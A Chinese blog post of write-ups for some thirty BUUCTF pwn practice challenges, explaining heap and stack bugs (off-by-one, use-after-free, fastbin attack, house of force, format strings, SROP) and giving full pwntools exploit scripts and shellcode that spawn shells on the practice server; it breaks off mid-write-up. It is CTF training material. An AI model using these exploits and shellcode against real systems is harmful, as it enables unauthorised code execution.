BUUCTF-PWN-第三页writep(32题)
其实早做好了,第四页都做了一半了,但是最近比较忙,所以就没发。其次,我的题解是一边做题一边写的,所以可能会包含部分错误的想法(应该都纠正了)、前后矛盾、碎碎念、无语吐槽等丰富要素,如有错误欢迎指出,当然除非是搜跟本标题一样的关键词,不然我这篇随笔应该是没几个人看了,一次性更新32道题不容易啊,要一张一张图复制粘贴
hitcontraining_heapcreator
经典的堆菜单
create 函数,一共创建两个堆
edit 函数
可以看到划红线部分多写了一个字符,这就是 of-by-one 漏洞
show 函数
delete 函数
很正常,指向堆的指针也被释放掉了,那么就只能利用 of-by-one 漏洞了
get-shell 思路
- 利用of-by-one 漏洞修改下一个chunk的size,构造出 fake-chunk
- free掉构造的 fake-chunk
- 申请该大小的chunk,产生 chunk overlap,进而修改关键指针
我们这里创建三个chunk
create(0x18, 'aaaa') create(0x10, 'bbbb') create(0x10, 'cccc')
为什么第一个 chunk 的大小是 0x18呢,在内存中,prev size 和 size 各 8 个字节,如果我们申请一个大小为 0x18 的 chunk ,那么该 chunk 就会占用 下一个 chunk 的 prev size ,那么我们就可以利用 of-by-one 漏洞来修改下一个 chunk 的 size
如图
下图清晰展示了 3 个 chunk 的关系
接下来要利用 of-by-one 漏洞来产生 chunk overlap
create(0x18, 'aaaa') create(0x10, 'bbbb') create(0x10, 'cccc') edit(0, b'/bin/sh\x00' + p64(0)*2 + b'\x81')
如图,将 chunk1 修改成了 0x81 的大小
接下来 free chunk1 ,并且再申请一个 0x70 大小的 fake-chunk ,那么,该 chunk 就会被 bins 中重新启用,这时候我们就可以对 chunk2 的数据进行修改了
将 chunk2 中的第一个 chunk 中存放第二个 chunk 的指针的位置修改成 free 函数的 got 地址。
edit(0, b'/bin/sh\x00' + p64(0)*2 + b'\x81') free(1) create(0x70, p64(0)*8 + p64(0x8) + p64(elf.got['free']))
这样,我们进行 show(2) 操作的时候,就会把 free 函数的地址泄露出来
然后,如果进行 edit(2) 操作,就行对 free 函数地址的数据进行修改,我们把它修改为 system 函数 的地址
最后,再进行 free(0) 操作,就能执行 system('/bin/sh')
值得注意的是,由于 edit 函数的规定,所以 chunk2 的原本 size 数据应该不为 0 ,否则,edit 函数将写不了数据,也就无法改为 system 函数的地址了
完整exp如下
from pwn import * context.log_level="debug" p = remote('node4.buuoj.cn', 25879) #p = process('1') elf = ELF('1') libc = ELF('CTF_tool/libc-2.23-x64.so') def create(size, content): p.sendlineafter('Your choice :', '1') p.sendlineafter('Size of Heap :', str(size)) p.sendlineafter('Content of heap:', content) def edit(index, content): p.sendlineafter('Your choice :', '2') p.sendlineafter('Index :', str(index)) p.sendlineafter('Content of heap :', content) def show(index): p.sendlineafter('Your choice :', '3') p.sendlineafter('Index :', str(index)) def free(index): p.sendlineafter('Your choice :', '4') p.sendlineafter('Index :', str(index)) create(0x18, 'aaaa') create(0x10, 'bbbb') create(0x10, 'cccc') edit(0, b'/bin/sh\x00' + p64(0)*2 + b'\x81') free(1) create(0x70, p64(0)*8 + p64(0x8) + p64(elf.got['free'])) show(2) free_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) system_addr = free_addr - libc.symbols['free'] + libc.symbols['system'] edit(2, p64(system_addr)) free(0) p.interactive()
ciscn_2019_s_9
ret2shellcode
jmp esp
这是要我们写入 shellcode ,然后跳转到esp去执行
一个要注意的是 shellcode 的长度不能过长,另一个是 p32(jmp_esp) 指令被执行前,esp 已经跳转到了距离 shellcode + 0x28 的地方,所有我们要控制 esp 指向 shellcode ,然后跳转 shellcode 执行
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 25829) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') jmp_esp = 0x08048554 shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' payload = shellcode.ljust(0x24, b'\x00') + p32(jmp_esp) + asm("sub esp,0x28;call esp") p.recv() p.sendline(payload) p.interactive()
hitcon2014_stkof
一道没有菜单的堆题
直接创建堆块,并创建指向堆块的 index
free ,会释放堆块,也会清空指针
应该是 dump
edit 模块,存在堆溢出
比较有趣的是
是通过 v5 的返回值去判断各个函数是否成功执行
没搞懂,我只创建了一个 0x10 大小的堆,为什么多了两个大堆(堆风水问题,有时候就是这样)
存放 chunk 指针的数组在 bss 段上,我们在这里利用 fast bin attack 构造 fake chunk
然后修改 chunk1(本题从 1 开始) 的指针为 free@got ,然后 edit(1) 修改为 system@plt
chunk2 存放 /bin/sh ,最后 free(2) 即可 getshell
这里我们利用 chunk3 和 chunk 4 、chunk5 进行 fast bin attack
顺利找到 fake_chunk
然后我发现,程序中没有 syttem 函数,并且 dump 没办法帮我们泄露 libc
并且修改 s[2] 为 puts@got ,free(2) 即可泄露 puts_addr
然后再把 free@plt 修改为 system@plt,chunk7 放入 /bin/sh
最后 free(7) 即可 getshell
from pwn import * from LibcSearcher import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29623) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def add(size): p.sendline('1') p.sendline(str(size)) p.recv() def free(index): p.sendline('3') p.sendline(str(index)) p.recv() def dump(index): p.sendline('4') p.sendline(str(index)) p.recv() def edit(index, content): p.sendline('2') p.sendline(str(index)) p.sendline(str(len(content))) p.send(content) p.recv() add(0x10) #1 add(0x10) #2 add(0x10) #3 add(0x60) #4 add(0x60) #5 add(0x10) #6 add(0x10) #7 # fast bin attack free(4) free(5) fake_chunk = 0x6020cd payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(3, payload) add(0x60) #index8 -> chunk5 add(0x60) #index9 -> fake_chunk # leak libcbase payload = b'a'*0x6b + p64(elf.got['free']) + p64(elf.got['puts']) edit(9, payload) edit(1, p64(elf.plt['puts'])) # free(2) p.sendline('3') p.sendline('2') puts_addr = u64(p.recv(6).ljust(8, b'\x00')) print('puts_addr => ', hex(puts_addr)) libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] print('system_addr => ', hex(system)) # pwn edit(7, b'/bin/sh\x00') edit(1, p64(system)) p.sendline('3') p.sendline('7') p.interactive()
roarctf_2019_easy_pwn
一道保护全开的菜单堆题
创建堆的函数,用了一个数组去存放堆块是否使用的标志,还有一个数组存放其堆块的大小,还有一个数组存放堆块的指针
比较特殊的是 edit 这里
这里的 sub_E26
如果我们编辑堆块时候填入的 size 比创建堆块的时候填入的 size 大 10,那么就可以比创建堆块的大小多写入一个字节
free 平平无奇
show 这里输入的字节是看创建堆块时候写入的大小
这道题看到这应该就是利用 off by one 漏洞了,但是堆块中没有存放指针一类数据,就算利用 off by one 进行堆块重叠也没什么用,保护全开,那么 unlink 使用前也要先泄露基址
(错误的,这道题有 show 功能,可以利用 show 功能 + 堆块重叠泄露 libc_base ,然后就是正常流程了)
先用 unsorted bin attach 泄露基址吧
add(0x18) add(0x10) add(0x80) add(0x10) #unsorted bin attack edit(0, 0x22, p64(0)*3 + p8(0xb1)) free(1) add(0xa0) edit(1, 0x20, p64(0)*3 + p64(0x91)) free(2) dump(1) main_arena_88 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print('main_arena_88 => ', hex(main_arena_88)) libcbase = main_arena_88 - 0x68 - libc.sym['__malloc_hook'] print('libcbase => ', hex(libcbase))
可以看到这里泄露的是 main_arena + 88
还有 __malloc_hook 的地址
接下来应该是用 fast bin attack 构造 fake chunk 修改 __malloc_hook
#fast bin attack add(0x60) #index2 add(0x60) #index4 free(4) free(2) fake_chunk = main_arena_88 - 0x68 - 0x23 print('fake_chunk => ', hex(fake_chunk)) edit(1, 0x28, p64(0)*3 + p64(0x71) + p64(fake_chunk)) add(0x60) #index2 -> chunk2 add(0x60) #index4 -> fake_chunk one_gadget = libcbase + 0x45216 print('one_gadget => ', hex(one_gadget)) edit(4, 0x1b, b'a'*0x13 + p64(one_gadget)) add(0x10) p.interactive()
但是,one_gadget 全部失效了
这里可以用到 realloc 来重新设置环境变量
如这个 one_gadget 需要 rsp + 0x30 == NULL
realloc 函数会先压栈,最后再全部出栈
我们可以通过 地址 控制压栈的次数,从而控制 esp 的位置
如该程序到执行 one_gadget 时,rsp + 0x38 == NULL,那么我们可以少压一个栈,令 rsp + 0x30 == rsp + 0x38 == NULL
还有 realloc_hook 就在 malloc_hook 上面一个内存单元,我们同样可以顺便修改,把 realloc_hook 修改成 one_gadget ,把 malloc_hook 修改成 realloc + 2
那么,当我们执行 malloc 的时候,会执行 malloc_hook == realloc ,然后执行 realloc_hook == one_gadget
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 27156) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def add(size): p.sendlineafter(b'choice: ', '1') p.sendlineafter(b'size: ', str(size)) def edit(index, size, content): p.sendlineafter(b'choice: ', '2') p.sendlineafter(b'index: ', str(index)) p.sendlineafter(b'size: ', str(size)) p.sendafter('content: ', content) def free(index): p.sendlineafter(b'choice: ', '3') p.sendlineafter(b'index: ', str(index)) def dump(index): p.sendlineafter(b'choice: ', '4') p.sendlineafter(b'index: ', str(index)) add(0x18) add(0x10) add(0x80) add(0x10) #unsorted bin attack edit(0, 0x22, p64(0)*3 + p8(0xb1)) free(1) add(0xa0) edit(1, 0x20, p64(0)*3 + p64(0x91)) free(2) dump(1) main_arena_88 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = main_arena_88 - 0x3c4b78 print('libcbase => ', hex(libcbase)) #fast bin attack add(0x60) #index2 add(0x60) #index4 free(4) free(2) fake_chunk = main_arena_88 - 0x68 - 0x23 print('fake_chunk => ', hex(fake_chunk)) edit(1, 0x28, p64(0)*3 + p64(0x71) + p64(fake_chunk)) add(0x60) #index2 -> chunk2 add(0x60) #index4 -> fake_chunk one_gadget = libcbase + 0x4526a realloc_hook = libcbase + libc.sym['realloc'] print('realloc_hook => ', hex(realloc_hook)) print('one_gadget => ', hex(one_gadget)) edit(4, 0x1b, b'a'*0xb + p64(one_gadget) + p64(realloc_hook+2)) #gdb.attach(p) #pause() add(0x10) p.interactive()
pwnable_hacknote
一道菜单堆题
add 申请了两个堆块,0x8的堆块前四个字节存放 puts ,后四个字节存放另一个堆块的指针
free 明显的 UAF
show
很简单的题了,和前面第一页的一道题比较像,这里直接丢 exp
但是 show 有坑,会把 system 带入命令参数会报
使用 sh 前得加 ; 隔断命令参数
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29381) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') def add(size, content): p.sendlineafter(b'Your choice :', '1') p.sendlineafter(b'Note size :', str(size)) p.sendafter(b'Content :', content) def free(index): p.sendlineafter(b'Your choice :', '2') p.sendlineafter(b'Index :', str(index)) def show(index): p.sendlineafter(b'Your choice :', '3') p.sendlineafter(b'Index :', str(index)) add(0x20, b'aaaa') #0 add(0x20, b'bbbb') #1 free(0) free(1) add(0x8, p32(0x804862b) + p32(elf.got['puts'])) #2 show(0) puts_addr = u32(p.recv(4)) libcbase = puts_addr - libc.sym['puts'] print('libcbase => ', hex(puts_addr)) system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'sh\x00')) one_gadget = libcbase + 0x5f066 free(2) add(0x8, p32(system) + b';sh\x00') #3 show(0) #p.recv() p.interactive()
picoctf_2018_shellcode
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 29180) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' p.recv() p.sendline(shellcode) p.interactive()
ciscn_2019_es_7
用 CSUROP 或 SROP 的做法,和第一页一道题一模一样
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 25138) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') ret = 0x4003a9 rax_15 = 0x4004DA syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln']) p.sendline(payload) p.recv(0x20) binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118 print('binsh=>',hex(binsh)) # 设置sigframe关键寄存器 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = binsh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rip = syscall print('sigframe.rax:',sigframe.rax) payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe) p.sendline(payload) p.interactive()
jarvisoj_level5
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 28540) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') ret = 0x400499 rdi = 0x4006b3 rsi_r15 = 0x4006b1 payload = b'a'*0x88 + p64(rdi) + p64(1) + p64(rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['main']) p.sendlineafter(b'Input:\n', payload) write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libcbase = write_addr - libc.sym['write'] print('libcbase => ', hex(libcbase)) system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x88 + p64(rdi) + p64(binsh) + p64(system) p.sendlineafter(b'Input:\n', payload) p.interactive()
hitcontraining_bamboobox
菜单堆题
add 一个数组放堆块的大小,一个数组放堆块的指针
edit 堆溢出
show,以枚举的形式打印数据
free , 注意 free 后 num - 1
值得一提的是这里会多申请一个堆块,存放两段字符串信息
开始循环退出循环之前会将其打印
竟然还有一个后门函数
按这道题想让我做的解法应该就是修改 v4[1] ,使其指向 magic 了
利用 fast bin attack ,覆盖 0x10 大小的这个堆,就能改写了
虽然这里堆的地址不知道,但是我只要修改 fd 的最后两字节为 00 就行了,不错,感觉堆越学越好了
emm,无语了
最后的代码会用 \x00 截断,这种方法是行不通了
这里用 house of force
只要top chunk size够大,就能随意申请chunk
所以,如果有溢出能控制top chunk size,就可以修改其为-1(0xffffffffffffffff最大值),然后malloc(负数)可以向上申请
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 26428) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def add(size, content): p.sendlineafter(b'Your choice:', '2') p.sendlineafter(b'Please enter the length of item name:', str(size)) p.sendafter(b'Please enter the name of item:', content) def show(): p.sendlineafter(b'Your choice:', '1') def edit(index, content): p.sendlineafter(b'Your choice:', '3') p.sendlineafter(b'Please enter the index of item:', str(index)) p.sendlineafter(b'Please enter the length of item name:', str(len(content))) p.sendafter(b'Please enter the new name of the item:', content) def free(index): p.sendlineafter(b'Your choice:', '4') p.sendlineafter(b'Please enter the index of item:', str(index)) def get_flag(): p.sendlineafter(b'Your choice:', '5') add(0x30, b'a') # index0 edit(0, p64(0)*7 + p64(0xffffffffffffffff)) add(-0x70, b'b') # index1 add(0x10, p64(0) + p64(elf.sym['magic'])) print('magin => ', hex(elf.sym['magic'])) get_flag() print(p.recv()) #gdb.attach(p) #pause()
不过 flag 并不在 magic 函数读的路径下,只能 getshell了
该利用姿势是由于libc的堆管理在malloc的时候默认top chunk的size是正确合法的,所以不会去检查top chunk的size值,这就导致了一种情况,当一个程序存在可以修改top chunk size的漏洞时,我们把top chunk的size修改成0xffffffff(x86)
假设这个时候的top_chunk=0x601200, 然后malloc(0xffe00020),然后对malloc申请的size进行检查,0xffe00030 < top_chunk_size,所以可以成功malloc内存,然后计算top_chunk的新地址:0xffe00030+0x601200=0x100401230, 因为是x86环境,最高位溢出了,所以top_chunk=0x401230
然后下次我们再malloc的时候,返回的地址就是0x401238
add(0x30, b'a') # index0 edit(0, p64(0)*7 + p64(0xffffffffffffffff)) add(-0x70, b'b') # index1 add(0x10, p64(elf.sym['magic'])*2) print('magic => ', hex(elf.sym['magic'])) get_flag()
那就用 fast bin attak 构造 fake_chunk ,修改 index
比较简单就丢 exp 了
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 29013) elf = ELF('./pwn') libc = ELF('buu/libc-2.23-x64.so') def add(size, content): p.sendlineafter(b'Your choice:', '2') p.sendlineafter(b'Please enter the length of item name:', str(size)) p.sendafter(b'Please enter the name of item:', content) def show(): p.sendlineafter(b'Your choice:', '1') def edit(index, content): p.sendlineafter(b'Your choice:', '3') p.sendlineafter(b'Please enter the index of item:', str(index)) p.sendlineafter(b'Please enter the length of item name:', str(len(content))) p.sendafter(b'Please enter the new name of the item:', content) def free(index): p.sendlineafter(b'Your choice:', '4') p.sendlineafter(b'Please enter the index of item:', str(index)) def get_shell(): p.sendlineafter(b'Your choice:', '/bin/sh\x00') add(0x10, b'a') # index0 add(0x60, b'b') # index1 add(0x60, b'c') # index2 add(0x10, b'd') # index3 free(1) free(2) fake_chunk = 0x60209d payload = p64(0)*3 + p64(0x71) + p64(0)*13 + p64(0x71) + p64(fake_chunk) edit(0, payload) add(0x60, b'a') #index1 -> chunk2 add(0x60, b'b') #index2 -> fake_chunk edit(2, b'a'*0x1b + p64(elf.got['atoi'])) show() atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) system = atoi_addr - libc.sym['atoi'] + libc.sym['system'] edit(0, p64(system)) get_shell() p.interactive()
npuctf_2020_easyheap
菜单堆题
add , 一共创建两个堆块, 0x10 的堆块前八字节存放大小,后八字节存放自定义大小的另一个堆块的指针,并且,自定义大小的堆块的大小只能是 0x18 或 0x38
edit 存在 off by one 漏洞 ,注意读的大小是根据 0x10 堆块的前八个字节决定的,堆块重叠后修改时记得恢复,不然无法读
show
free
虽然限制了堆的大小,但是还是能利用 off by one 进行堆块重叠,修改 0x10 堆块上后八字节存放的指针
比较容易,就直接丢 exp 了
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 26541) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') def add(size, content): p.sendlineafter(b'Your choice :', '1') p.sendlineafter(b'Size of Heap(0x10 or 0x20 only) : ', str(size)) p.sendafter(b'Content:', content) def edit(index, content): p.sendlineafter(b'Your choice :', '2') p.sendlineafter(b'Index :', str(index)) p.sendafter(b'Content:', content) def show(index): p.sendlineafter(b'Your choice :', '3') p.sendlineafter(b'Index :', str(index)) def free(index): p.sendlineafter(b'Your choice :', '4') p.sendlineafter(b'Index :', str(index)) def get_shell(): p.sendlineafter(b'Your choice :', 'sh\x00\x00') #这里只能读四个字节 add(0x18, b'a') # index0 add(0x18, b'b') # index1 add(0x18, b'c') # index2 edit(0, p64(0)*3 + p8(0x41)) free(1) add(0x38, b'd') # index1 edit(1, p64(0)*3 + p64(0x21) + p64(0x38) + p64(elf.got['atoi'])) show(1) p.recvuntil(b'Content : ') atoi_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) system = atoi_addr - libc.sym['atoi'] + libc.sym['system'] print('system_addr => ', hex(system)) edit(1, p64(system)) get_shell() p.interactive()
cmcc_pwnme2
明显的栈溢出
add_home
add_flag
exec_string
很明显,要我依次调用函数去读 flag
pop_ebx = 0x08048409 pop_edi_ebp = 0x0804867f payload = b'a'*0x70 + p32(elf.sym['add_home']) + p32(pop_ebx) + p32(0xDEADBEEF) + p32(elf.sym['add_flag']) + p32(pop_edi_ebp) + p32(0xCAFEBABE) + p32(0xABADF00D) + p32(elf.sym['exec_string']) p.recv() p.sendline(payload) p.recv()
这样没办法,发现 buu 上的 flag 基本都是放在根目录下的 flag 和 flag.txt 文件里
直接用 ret2libc 的方法解决了
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 25730) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') payload = b'a'*0x70 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts']) p.recv() p.sendline(payload) p.recvline() puts_addr = u32(p.recv(4)) print('puts_addr => ', hex(puts_addr)) libcbase = puts_addr - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x70 + p32(system) + p32(elf.sym['main']) + p32(binsh) p.recv() p.sendline(payload) p.interactive()
注意,栈溢出是发生在 strcpy 那里的,不要有 p32(0) ,不然复制着就断了,然后最后 system('/bin/sh') 的时候要跳转回一个正常的地址,不然无法打通
还有一种做法,直接 gets 函数修改 exec_string 读的文件路径即 string 变量为 flag
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 25730) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') string = 0x0804A060 payload = b'a'*0x70 + p32(elf.sym['gets']) + p32(elf.sym['exec_string']) + p32(string) p.recv() p.sendline(payload) p.sendline(b'flag') print(p.recv())
网上大部分都是这种做法,我是没想到,长见识了
picoctf_2018_got_shell
比较有趣的一道题,让我们在任意地址写四个字节
同时存在后门函数
本来想着要泄露栈地址 写入 ret 的,后来发现把 puts@plt 改成 win 的地址不也行吗
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 26541) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') p.recv() p.sendline(str(hex(elf.got['puts']))) p.recv() p.sendline(str(hex((elf.sym['win'])))) p.interactive()
wdb_2018_2nd_easyfmt
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 28001) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') p.recv() p.send(p32(elf.got['printf']) + b'%6$s') print('printf@got => ', hex(elf.got['printf'])) p.recv(4) printf_addr = u32(p.recv(4)) print('printf_addr => ', hex(printf_addr)) libcbase = printf_addr - libc.sym['printf'] system = libcbase + libc.sym['system'] print('system => ', hex(system)) payload = fmtstr_payload(6, {elf.got['printf']:system}, write_size = 'byte') print('printf@got => ', hex(elf.got['printf'])) p.send(payload) p.recv() p.sendline(b'/bin/sh\x00') p.interactive()
picoctf_2018_can_you_gets_me
静态编译 + 栈溢出,直接用 ROPgadget 生成 shellcode
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') #p = process('./pwn') p = remote('node4.buuoj.cn', 28922) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') def get_payload(): p = b'a'*0x1c p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += b'//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 return p payload = get_payload() p.recv() p.sendline(payload) p.interactive()
mrctf2020_easy_equation
需要利用格式化字符串漏洞修改 judge 的值,写个 for 循环枚举一下,得到 judge 的值应该是 2
想到涉及格式化字符串写小于 4 和 8 的值的知识点,可以先输出对应数量字节,再写格式化字符串偏移,再写地址,不过我这里用 fmtstr_payload 就行了(唉)
偏移量为 8 ,还需要补一个字节对齐
但是吧,它用的是 fgets 读,不用 sendline 发不出数据,但是如果用了,会发现
%0a 也被当成地址的一部分了,所以 fmtstr_payload 也不是万能的
payload = b'aa%9$naaa' + p64(judge)
这样就行了
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'i386') p = process('./pwn') #p = remote('node4.buuoj.cn', 28753) elf = ELF('./pwn') libc = ELF('buu/libc-2.23.so') judge = 0x60105C payload = b'aa%9$naaa' + p64(judge) p.sendline(payload) p.interactive()
actf_2019_babystack
一眼栈迁移,并且给出了 s 的地址
注意两次攻击的 s 地址不同,还好我谨慎发现了,不然又可能要 debug 两三小时
exp
from pwn import * from struct import pack context.log_level='debug' context(os = 'linux', arch = 'amd64') #p = process('./pwn') p = remote('node4.buuoj.cn', 28797) elf = ELF('./pwn') libc = ELF('buu/libc-2.27-x64.so') leave = 0x400A18 ret = 0x400709 rdi = 0x400ad3 # first attack p.sendlineafter(b'How many bytes of your message?\n', b'224') p.recvuntil(b'Your message will be saved at ') buff = int(p.recv(14), 16) print('buff => ', hex(buff)) payload = p64(0) + p64(rdi) + p64(elf.got['puts']) + p64(elf.sym['puts']) + p64(0x4008F6) payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave) p.sendafter(b'>', payload) # leak libcbase p.recvline() puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print('puts => ', hex(puts)) libcbase = puts - libc.sym['puts'] system = libcbase + libc.sym['system'] binsh = libcbase + next(libc.search(b'/bin/sh\x00')) one_gadget = libcbase + 0x4f322 # second attack p.sendlineafter(b'How many bytes of your message?\n', b'224') p.recvuntil(b'Your message will be saved at ') buff = int(p.recv(14), 16) print('buff => ', hex(buff)) payload = p64(0) + p64(ret) + p64(rdi) + p64(buff+0x28) + p64(system) + b'/bin/sh\x00' #payload = p64(0) + p64(ret) + p64(rdi) + p64(binsh) + p64(system) #payload = p64(0) + p64(one_gadget) 多种payload payload = payload.ljust(208, b'\x00') + p64(buff) + p64(leave) p.sendafter(b'>', payload) p.interactive()
最后,还有注意,泄露基址尽量不要用 sendline 发送 payload !!!
mrctf2020_shellcode_revenge
NX 没开,明显的,可以把 shellcode 写进去,并且需要纯字符 shellcode
需要用到 alpha3 这个工具
可以看这位师傅的文章 https://www.proyy.com/9160.html
shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" p.send(shellcode_64) p.interactive()
注意,不能用 sendline 发送数据,我觉得吧,如果非得用 sendline 才能发送,那么末尾可以加一个以 \n 开头的指令,不知道行不行
picoctf_2018_leak_me
模拟登录,要 s1 和 s 相同,应该就是栈溢出了
emm,但是失败了
p.recv() p.sendline(b'w1nd') p.recv() payload = b'123\x00' payload = payload.ljust(0x140, b'\x00') + b'123\x00' p.sendline(payload) print(p.recv())
那就用puts泄露密码
p.recv() p.send(b'a'*0x100) p.recv() #p.sendline(b'a_reAllY_s3cuRe_p4s$word_f85406') #print(p.recv())
ciscn_2019_final_3
C++ 堆题,第一次见
add
free 存放 UAF 漏洞
第一次见新建 note 却只要一个申请一个 chunk 的题,并且会给出堆块的地址,也就是 fd
不知道怎么做,这道题只能看 wp 了
题目只有 add 和 free,并且add后会将相应的地址打出来。所以首先得让chunk进入unsortedbin中,来泄露libc基址。
但是限制了堆块申请的大小,所以我们可以利用 double free
但是因为 libc 版本的问题,本地 double free 失败了,emm
折腾了半天,本来以为要把 C++ 依赖的库都换掉的,后来换了 ubuntu18 这台机器上,更换 libc 和 ld 就行了
tcache前置知识
程序运行后会有一个 chunk
这里存放着 tcachebin 的信息,比如下图表面 tcachebin 中有两个 0x60 大小的 bin,有个 且链表头地址为 0x55ce111ede70
这里的 tcache attack 是利用 dup 修改 tcache bin 中的 chunk 的 fd,使其指向 上图中 0x251 大小的 chunk,从而修改 tcache bin 中各类大小 bin 中的指针,那么我们接着申请 chunk 的时候就能在申请到其它堆块上了,从而实现修改其它堆块的信息,比如 size ,这里我们要通过修改 size ,使一个 chunk free 后放入 unsorted bin,来泄露基址
由于存放 UAF,所以我们先 dup
ptr0 = add(0,0x50,'a'*0x10) add(1,0x70,'b'*0x10) add(2,0x70,'c'*0x10) add(3,0x50,'/bin/sh\x00') add(4,0x10,'d'*0x10) free(0) free(0)
可以看到 dup 后
fd 也指向了自己
修改 fd 指向存放有 tcache bin 信息的那个 chunk 的偏移为
再接下来我们申请三次 chunk
